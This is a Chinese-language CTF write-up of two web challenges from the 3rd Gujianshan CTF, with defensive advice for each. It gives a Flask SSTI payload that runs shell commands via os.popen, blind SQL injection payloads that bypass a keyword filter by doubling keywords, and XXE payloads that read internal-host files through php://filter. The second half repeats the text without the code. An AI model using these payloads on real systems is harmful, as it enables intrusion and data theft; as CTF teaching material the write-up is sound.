第三届古剑山web-wp
字数 1391 2025-12-04 12:35:15

第三届古剑山CTF Web题目解析与教学文档

题目一:baby_ssti(SSTI注入)

题目描述

无过滤的SSTI漏洞,flag在当前目录下的flag.txt文件中。

漏洞原理

SSTI(Server-Side Template Injection)服务器端模板注入,攻击者能够将恶意代码注入到模板中并在服务器端执行。

解题步骤

  1. 识别SSTI漏洞点
  2. 构造payload读取flag.txt文件
  3. 获取flag

利用Payload

{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}

Payload解析

  • config:Flask配置对象
  • __class__:获取对象的类
  • __init__:类的初始化方法
  • __globals__:获取函数所在的全局命名空间
  • ['os']:访问os模块
  • popen('cat flag.txt').read():执行系统命令并读取结果

防护措施

  • 对用户输入进行严格过滤
  • 使用安全的模板渲染方式
  • 避免直接执行用户输入的代码

题目二:CMS(布尔盲注+XXE)

第一阶段:SQL布尔盲注

题目特征

  • 登录界面存在SQL注入漏洞
  • 成功登录无回显,失败返回"error..."
  • 关键字符被过滤(or、select被替换为空)

绕过技巧:双写绕过

  • 使用oorr绕过or过滤
  • 使用selselectect绕过select过滤

爆库名Payload

admin' oorr (case when (substr(database(),1,1)='h') then 1 else (selselectect 1 union selselectect 2) end)#

结果:heavysql

爆表名Payload

username=admin' oorr (case when (mid((selselectect table_name from infoorrmation_schema.tables where table_schema=database() limit 0,1),1,1)='u') then 1 else (selselectect 1 union selselectect 2) end)#&password=a

结果:users

爆列名Payload

username=admin' oorr (case when (mid((selselectect column_name from infoorrmation_schema.columns where table_name='users' limit 0,1),1,1)='i') then 1 else (selselectect 1 union selselectect 2) end)#&password=a

结果:id, username, password, user, current_connections

爆数据Payload

username=admin' oorr (case when (oorrd(mid((selselectect passwoorrd from users limit 0,1),1,1))=97) then 1 else (selselectect 1 union selselectect 2) end)#&password=a

结果:kingdom123ABC

注意事项

  • 布尔盲注时数据库大小写不敏感,但登录时密码大小写敏感
  • 建议使用ASCII码进行精确爆破

第二阶段:XXE漏洞利用

发现内网信息

通过/proc/net/arp发现内网存在其他主机:

127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.3 in 77a9e1303e72
172.17.0.4 9f75e553656e

XXE读取index.php

<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://172.17.0.3/index.php">
]>
<ANY><name>&xxe;</name></ANY>

获取到的base64编码内容解码后:

<?php
    error_reporting(0);
    include "flag.php";
    if(!$_GET['file'])
    {
        echo file_get_contents("./index.php");
    }
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data"))
    {
        echo "Oh no!";
        exit();
    }
    include($file);
?>

文件包含绕过技巧

  • 过滤了../, tp, input, data
  • 使用php://filter伪协议绕过

读取flag.php的Payload

<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://172.17.0.3/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php">
]>
<ANY><name>&xxe;</name></ANY>

获取的base64内容:ClBEOXdhSEFnQ2k4dlpXTm9ieUFpWm14aFozczFNR1k0TkdSaFpqTmhObVJtWkRaaE9XWXlNR001WmpobFpqUXlPRGswTW4waU93by9QZ29L

经过两次base64解码获得flag。

综合防护建议

SQL注入防护

  1. 使用预编译语句(Prepared Statements)
  2. 对用户输入进行严格过滤和转义
  3. 实施最小权限原则
  4. 使用Web应用防火墙(WAF)

SSTI防护

  1. 使用沙盒环境执行模板
  2. 禁用危险的模板功能
  3. 对用户输入进行白名单验证

XXE防护

  1. 禁用外部实体解析
  2. 使用安全的XML解析器
  3. 实施输入验证和过滤

文件包含防护

  1. 避免动态包含用户可控的文件
  2. 使用白名单限制可包含的文件
  3. 设置open_basedir限制文件访问范围

总结

本CTF题目涵盖了Web安全的多个重要知识点,包括SSTI、SQL布尔盲注、XXE漏洞和文件包含漏洞。通过双写绕过、伪协议利用等技术手段,展示了实际渗透测试中的常见技巧。防护方面需要从代码层面和架构层面同时着手,建立纵深防御体系。

第三届古剑山CTF Web题目解析与教学文档 题目一:baby_ ssti(SSTI注入) 题目描述 无过滤的SSTI漏洞,flag在当前目录下的flag.txt文件中。 漏洞原理 SSTI(Server-Side Template Injection)服务器端模板注入,攻击者能够将恶意代码注入到模板中并在服务器端执行。 解题步骤 识别SSTI漏洞点 构造payload读取flag.txt文件 获取flag 利用Payload Payload解析 config :Flask配置对象 __class__ :获取对象的类 __init__ :类的初始化方法 __globals__ :获取函数所在的全局命名空间 ['os'] :访问os模块 popen('cat flag.txt').read() :执行系统命令并读取结果 防护措施 对用户输入进行严格过滤 使用安全的模板渲染方式 避免直接执行用户输入的代码 题目二:CMS(布尔盲注+XXE) 第一阶段:SQL布尔盲注 题目特征 登录界面存在SQL注入漏洞 成功登录无回显,失败返回"error..." 关键字符被过滤(or、select被替换为空) 绕过技巧:双写绕过 使用 oorr 绕过 or 过滤 使用 selselectect 绕过 select 过滤 爆库名Payload 结果:heavysql 爆表名Payload 结果:users 爆列名Payload 结果:id, username, password, user, current_ connections 爆数据Payload 结果:kingdom123ABC 注意事项 布尔盲注时数据库大小写不敏感,但登录时密码大小写敏感 建议使用ASCII码进行精确爆破 第二阶段:XXE漏洞利用 发现内网信息 通过 /proc/net/arp 发现内网存在其他主机: XXE读取index.php 获取到的base64编码内容解码后: 文件包含绕过技巧 过滤了 ../ , tp , input , data 使用 php://filter 伪协议绕过 读取flag.php的Payload 获取的base64内容: ClBEOXdhSEFnQ2k4dlpXTm9ieUFpWm14aFozczFNR1k0TkdSaFpqTmhObVJtWkRaaE9XWXlNR001WmpobFpqUXlPRGswTW4waU93by9QZ29L 经过两次base64解码获得flag。 综合防护建议 SQL注入防护 使用预编译语句(Prepared Statements) 对用户输入进行严格过滤和转义 实施最小权限原则 使用Web应用防火墙(WAF) SSTI防护 使用沙盒环境执行模板 禁用危险的模板功能 对用户输入进行白名单验证 XXE防护 禁用外部实体解析 使用安全的XML解析器 实施输入验证和过滤 文件包含防护 避免动态包含用户可控的文件 使用白名单限制可包含的文件 设置open_ basedir限制文件访问范围 总结 本CTF题目涵盖了Web安全的多个重要知识点,包括SSTI、SQL布尔盲注、XXE漏洞和文件包含漏洞。通过双写绕过、伪协议利用等技术手段,展示了实际渗透测试中的常见技巧。防护方面需要从代码层面和架构层面同时着手,建立纵深防御体系。